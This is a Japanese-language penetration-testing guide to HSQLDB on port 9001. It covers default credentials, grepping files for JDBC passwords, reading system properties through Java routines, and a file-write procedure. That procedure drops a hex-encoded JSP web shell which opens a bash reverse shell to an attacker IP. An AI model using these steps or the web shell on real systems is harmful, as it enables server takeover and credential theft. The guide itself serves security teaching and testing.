# 9001 - Pentesting HSQLDB {{#include ../banners/hacktricks-training.md}} ## 基本情報 **HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** は、Javaで書かれた主要なSQLリレーショナルデータベースシステムです。小型で高速なマルチスレッドおよびトランザクショナルデータベースエンジンを提供し、インメモリおよびディスクベースのテーブルを持ち、埋め込みモードとサーバーモードをサポートしています。 **デフォルトポート:** 9001 ```text 9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0) ``` ## デフォルト設定 デフォルトでは、このサービスはメモリ内で実行されているか、localhostにバインドされている可能性があります。これを見つけた場合、別のサービスを悪用し、特権を昇格させようとしている可能性があります。 デフォルトの認証情報は通常、`sa`と空のパスワードです。 別のサービスを悪用した場合、可能な認証情報を検索してください。 ```text grep -rP 'jdbc:hsqldb.*password.*' /path/to/search ``` データベース名を注意深くメモしてください - 接続するために必要です。 ## 情報収集 [HSQLDBをダウンロード](https://sourceforge.net/projects/hsqldb/files/)して、`hsqldb/lib/hsqldb.jar`を抽出することでDBインスタンスに接続します。`java -jar hsqldb.jar`を使用してGUIアプリ(うわっ)を実行し、発見した/弱い資格情報を使用してインスタンスに接続します。 接続URLはリモートシステムの場合、次のようになります: `jdbc:hsqldb:hsql://ip/DBNAME`。 ## トリック ### Java言語ルーチン HSQLDBからJava言語ルーチンを使用してJavaクラスの静的メソッドを呼び出すことができます。呼び出されるクラスはアプリケーションのクラスパスに含まれている必要があることに注意してください。 JRTは`functions`または`procedures`です。関数は、Javaメソッドが1つ以上のSQL互換のプリミティブ変数を返す場合、SQL文を介して呼び出すことができます。`VALUES`文を使用して呼び出されます。 呼び出したいJavaメソッドがvoidを返す場合、`CALL`文で呼び出されるプロシージャを使用する必要があります。 ### Javaシステムプロパティの読み取り 関数を作成: ```text CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty' ``` 関数を実行する: ```text VALUES(getsystemproperty('user.name')) ``` システムプロパティの[リストはこちら](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html)で見つけることができます。 ### ファイルにコンテンツを書く `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Javaガジェットを使用して、カスタム手順を介して16進エンコードされたアイテムをディスクに書き込むことができます(JDKにあり、アプリケーションのクラスパスに自動的にロードされます)。**最大サイズは1024バイトです**。 手順を作成します: ```text CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024)) LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename' ``` 手続きを実行します: ```text call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024))) ``` {{#include ../banners/hacktricks-training.md}}